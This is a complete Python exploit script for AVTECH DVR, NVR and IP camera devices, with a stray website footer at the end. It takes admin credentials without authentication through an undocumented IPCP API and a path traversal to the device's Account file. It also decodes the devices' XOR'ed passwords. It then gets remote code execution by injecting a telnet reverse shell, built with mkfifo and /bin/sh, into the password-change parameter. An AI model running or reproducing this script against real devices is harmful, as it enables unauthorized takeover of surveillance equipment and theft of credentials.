#!/usr/bin/env python2.7
# [SOF]
#
# Subject: AVTECH {DVR/NVR/IPC} IPCP API admin l/p, RCE (2018 bashis)
#
# Attack vector: Remote
# Authentication: Anonymous (no credentials needed)
# Researcher: bashis <mcw noemail eu> (March 2018)
#
# Authenticated Reverse Shell; Using admin l/p that we can retrieve with unauthenticated and undocumented IPCP API
#
# Vendor: http://www.avtech.com.tw/
#
import socket
import select
import sys
import urllib, urllib2, httplib
import ssl
import argparse
import base64
import os
import sys
import xmltodict # pip install xmltodict
import json
class HTTPconnect:
def __init__(self, host, proto, verbose, credentials, Raw, noexploit):
self.host = host
self.proto = proto
self.verbose = verbose
self.credentials = credentials
self.Raw = Raw
self.noexploit = noexploit
def Send(self, uri, query_headers, query_data, ID):
self.uri = uri
self.query_headers = query_headers
self.query_data = query_data
self.ID = ID
# Connect-timeout in seconds
timeout = 10
socket.setdefaulttimeout(timeout)
url = '{}://{}{}'.format(self.proto, self.host, self.uri)
if self.verbose:
print "[Verbose] Sending:", url
if self.proto == 'https':
if hasattr(ssl, '_create_unverified_context'):
print "[i] Creating SSL Unverified Context"
ssl._create_default_https_context = ssl._create_unverified_context
if self.credentials:
Basic_Auth = self.credentials.split(':')
if self.verbose:
print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]
try:
pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
except Exception as e:
print "[!] Basic Auth Error:",e
sys.exit(1)
if self.noexploit and not self.verbose:
print "[<] 204 Not Sending!"
html = "Not sending any data"
return html
else:
if self.query_data:
req = urllib2.Request(url, self.query_data, headers=self.query_headers)
else:
req = urllib2.Request(url, None, headers=self.query_headers)
try:
rsp = urllib2.urlopen(req)
except Exception as e:
print "[<] {}".format(str(e))
return False
if self.Raw:
return rsp
else:
html = rsp.read()
return html
#
# Validate correctness of HOST, IP and PORT
#
class Validate:
def __init__(self,verbose):
self.verbose = verbose
# Check if IP is valid
def CheckIP(self,IP):
self.IP = IP
ip = self.IP.split('.')
if len(ip) != 4:
return False
for tmp in ip:
if not tmp.isdigit():
return False
i = int(tmp)
if i < 0 or i > 255:
return False
return True
# Check if PORT is valid
def Port(self,PORT):
self.PORT = PORT
if int(self.PORT) < 1 or int(self.PORT) > 65535:
return False
else:
return True
# Check if HOST is valid
def Host(self,HOST):
self.HOST = HOST
try:
# Check valid IP
socket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP
# Now we check if it is correct typed IP
if self.CheckIP(self.HOST):
return self.HOST
else:
return False
except socket.error as e:
# Else check valid FQDN, and use the IP address
try:
self.HOST = socket.gethostbyname(self.HOST)
return self.HOST
except socket.error as e:
return False
class AVTECH:
def __init__(self, rhost, rport, proto, verbose, credentials, raw_request, noexploit, headers):
self.rhost = rhost
self.rport = rport
self.proto = proto
self.verbose = verbose
self.credentials = credentials
self.raw_request = raw_request
self.noexploit = noexploit
self.headers = headers
self.BUFFER_SIZE = 1024
def Send(self, message):
self.message = message
timeout = 5
socket.setdefaulttimeout(timeout)
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((self.rhost, int(self.rport)))
print "[i] Connected"
except Exception as e:
print "[!] Connection failed ({})".format(e)
sys.exit(1)
try:
print "[>] Sending"
self.sock.send(self.message) # No reply back from server
except Exception as e:
print "[!] Send failed ({})".format(e)
self.sock.close()
sys.exit(1)
self.sock.close()
if __name__ == "__main__":
INFO = '\nAVTECH {DVR/NVR/IPC} IPCP API admin l/p, RCE (2018 bashis)\n'
rhost = '192.168.57.20' # Default Remote HOST
rport = '80' # Default Remote PORT
lhost = '192.168.57.1' # Default Local HOST
lport = '1337' # Default Local PORT
HTTP = "http"
HTTPS = "https"
proto = HTTP
verbose = False
noexploit = False
raw_request = True
credentials = "admin:admin" # Default l/p
# credentials = None
headers = {
'Connection': 'close',
'Content-Type' : 'application/x-www-form-urlencoded',
'Accept' : 'gzip, deflate',
'Accept-Language' : 'en-US,en;q=0.8',
'Cache-Control' : 'max-age=0',
'User-Agent':'AVTECH/1.0'
}
try:
arg_parser = argparse.ArgumentParser(
prog=sys.argv[0],
description=('[*] '+ INFO +' [*]'))
arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']')
arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
arg_parser.add_argument('--getrce', required=False, default=False, action='store_true', help='Execute Reverse Shell [Default: Retrieve admin l/p]')
if credentials:
arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ credentials + ']')
arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
args = arg_parser.parse_args()
except Exception as e:
print INFO,"\nError: {}\n".format(str(e))
sys.exit(1)
print INFO
if args.verbose:
verbose = True
if credentials and args.auth:
credentials = args.auth
if args.rport:
rport = args.rport
if args.rhost:
rhost = args.rhost
if args.lport:
lport = args.lport
if args.lhost:
lhost = args.lhost
# Check if RPORT is valid
if not Validate(verbose).Port(rport):
print "[!] Invalid RPORT - Choose between 1 and 65535"
sys.exit(1)
# Check if LPORT is valid
if not Validate(verbose).Port(lport):
print "[!] Invalid LPORT - Choose between 1 and 65535"
sys.exit(1)
# Check if RHOST is valid IP or FQDN, get IP back
rhost = Validate(verbose).Host(rhost)
if not rhost:
print "[!] Invalid RHOST"
sys.exit(1)
# Check if LHOST is valid IP or FQDN, get IP back
lhost = Validate(verbose).Host(lhost)
if not lhost:
print "[!] Invalid LHOST"
sys.exit(1)
#
# Validation done, start print out stuff to the user
#
print "[i] Remote target IP:",rhost
print "[i] Remote target PORT:",rport
if args.getrce:
print "[i] Connect back IP:",lhost
print "[i] Connect back PORT:",lport
remote_host = rhost+':'+rport
#
# Get some interesting info about remote target
#
try:
print "[>] -=[ Checking Remote Device Info ]=-"
URI = "/nobody/Mediadesc_0.xml"
response = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None)
if response and not response.info().get('Server') == 'Linux/2.x UPnP/1.0 Avtech/1.0':
print "[!] Remote server '{}' type is wrong".format(response.info().get('Server'))
print "[i] Exiting"
sys.exit(1)
if not response:
URI = "/nobody/Mediadesc.xml"
response = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None)
URI = "/nobody/GetVendors"
response2 = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None)
print "[<] Booted: {}".format(response2.info().get('Last-Modified'))
else:
print "[<] Booted: {}".format(response.info().get('Last-Modified'))
if not response:
print "[!] Can't find remote server info..."
print "[i] Exiting"
sys.exit(1)
except Exception as e:
pass
XML_2_JSON = xmltodict.parse(response.read())
print "[<] Model: {} {}".format(XML_2_JSON['root']['device']['manufacturer'],XML_2_JSON['root']['device']['modelDescription'])
URI = "/"
response = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None)
if not response:
print "[<] Failed ({})".format(response)
sys.exit(1)
if not response.info().get('Server') == 'Linux/2.x UPnP/1.0 Avtech/1.0':
print "[!] Remote server '{}' type is wrong".format(response.info().get('Server'))
print "[i] Exiting"
sys.exit(1)
print "[<] Firmware date: {}".format(response.info().get('Last-Modified'))
response = response.read()
#
# If we don't know remote device credentials, we can try to find out.
#
if not args.auth or not args.getrce:
#
# We don't want to screw up things, so let's prepare to restore.
#
print "[>] -=[ Checking if remote using Captcha ]=-"
RESTORE_URI = ''
for captcha in range(0,len(response.split())):
if response.split()[captcha] == 'setTimeout("getCaptchaImg()",':
print "[<] Captcha: [True]"
RESTORE_URI = "nobody/login.htm"
break
elif response.split()[captcha] == '//setTimeout("getCaptchaImg()",':
print "[<] Captcha: [False]"
RESTORE_URI = "nobody/loginQuick.htm"
break
if not RESTORE_URI:
if args.getrce:
# Not safe enough to continue...
print "[!] Can't find Captcha! Not safe enough to continue..."
sys.exit(0)
RESTORE_URI = "nobody/login.htm"
print "[!] Can't find Captcha! Assuming '{}' is default...".format(RESTORE_URI)
#
# This seems to be some undocumented and unauthenticated write only API, that's hooking on 'IPCP/'
# where changes are made in memory only and will therefore not be persistent.
# There is lots of them available (> 70 depending of device) that can be called by changing 'Message-ID' number accordingly
#
# This one (#29) will change default web page to display, which can be redirected to any existing file.
# We will use '/mnt/database/xml/Account' as we can find remote device credentials in clear text or XOR'ed base64 encoded
#
print "[>] -=[ Trying to redirect default page to: /mnt/database/xml/Account ]=-"
ACCOUNT_URI = "../../../../../mnt/database/xml/Account"
request = "GET / IPCP/1.0\r\nMessage-ID: 29\r\nConnection: close\r\nContent-Length: " + str(len(ACCOUNT_URI)) + "\r\n\r\n" + ACCOUNT_URI
AVTECH(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).Send(request)
print "[>] -=[ Trying to retrieve /mnt/database/xml/Account ]=-"
response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None)
if not response:
print "[<] Failed ({})".format(response)
sys.exit(1)
print "[<] Received {} bytes".format(len(response))
try:
#
# Let's find first available admin user and password
#
XML_2_JSON = xmltodict.parse(response)
for user in XML_2_JSON['Account']:
if user[:4] == 'User':
if XML_2_JSON['Account'][user]['Level']['#text'] == 'SUPERVISOR':
Username = XML_2_JSON['Account'][user]['Username']['#text']
Password = XML_2_JSON['Account'][user]['Password']['#text']
Level = XML_2_JSON['Account'][user]['Level']['#text']
print "[<] Success"
break
elif user == 'Cloud':
print "[<] Cloud Account: {}, Password: {}".format(XML_2_JSON['Account'][user]['Username'],XML_2_JSON['Account'][user]['Password'])
Username = XML_2_JSON['Account'][user]['SUPERVISOR']['Username']
Password = XML_2_JSON['Account'][user]['SUPERVISOR']['Password']
Level = 'SUPERVISOR'
if args.getrce:
print "[!] RCE not supported..."
args.getrce = False # Not found out how-to
except Exception as e:
print "[<] -=[ This host are not IPCP vulnerable! ]=-"
print "[!] Exiting!"
sys.exit(1)
#
# Some newer FW versions password fields has XOR'ed base64 encoded passwords
#
if len(Password.split(":")) == 3 and Password.split(":")[0] == "enc":
print "[!] Deobfuscating base64 password: {} ({})".format(Password.split(":")[2],base64.b64decode(Password.split(":")[2]))
Password = base64.b64decode(Password.split(":")[2])
XOR = [0x09,0x07,0x09,0x02,0x07,0x07,0x0a] # rolling XOR keys for each byte in the password
Password = bytearray(Password)
key = 0
for i in range(len(Password)):
if key == len(XOR):
key = 0
Password[i] ^= XOR[key]
key += 1
print "[i] Level: {}, Username: {}, Password: {}".format(Level,Username,str(Password))
credentials = Username + ':' + str(Password)
# print json.dumps(XML_2_JSON,indent=4)
print "[>] Restore default page to: {}".format(RESTORE_URI)
request = "GET / IPCP/1.0\r\nMessage-ID: 29\r\nConnection: close\r\nContent-Length: " + str(len(RESTORE_URI)) + "\r\n\r\n" + RESTORE_URI
AVTECH(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).Send(request)
if not args.getrce:
if verbose:
print json.dumps(XML_2_JSON,indent=4)
print "[i] All done"
sys.exit(0)
#
# No netcat available, telnet client working just fine too
#
# This is persistent and will be remote device new PWD, let's make sure to restore!
#
RCE = '"$(mkfifo /tmp/s;telnet LHOST LPORT </tmp/s|/bin/sh>/tmp/s 2>&1 ;rm -f /tmp/s)&#"' # Let's fork()
RCE = RCE.replace('LHOST',lhost).replace('LPORT',lport)
URI = '/cgi-bin/nobody/Machine.cgi?action=change_password&account='+ base64.b64encode(credentials) +'&new_password='+ base64.b64encode(RCE)
print "[>] -=[ Trying to add and execute RCE ]=-"
response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None)
if not response == False:
if not response.split()[1] == 'OK':
print "[<] Failed {}".format(response)
sys.exit(1)
else:
if len(response.split()) > 2:
print "[!] Something is not correct!! Exiting..."
if verbose:
print response
sys.exit(1)
print "[<] {}".format(response.split()[1])
else:
print "[<] Should be OK"
#
# Use 'RCE' as PWD to restore old PWD
#
creds = credentials.split(':')
tmp = creds[0] + ':' + RCE
URI = '/cgi-bin/nobody/Machine.cgi?action=change_password&account='+ base64.b64encode(tmp) +'&new_password='+ base64.b64encode(creds[1])
print "[>] -=[ Trying to delete RCE and restore old PWD ]=-"
response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None)
if not response:
sys.exit(1)
if not response.split()[1] == 'OK':
print "[<] Failed {}".format(response)
sys.exit(1)
else:
if len(response.split()) > 2:
print "[!] Something is not correct!! Exiting..."
if verbose:
print response
sys.exit(1)
print "[<] {}".format(response.split()[1])
print "[i] All done"
# [EOF]
京公网安备 11010502034610号
暂无评论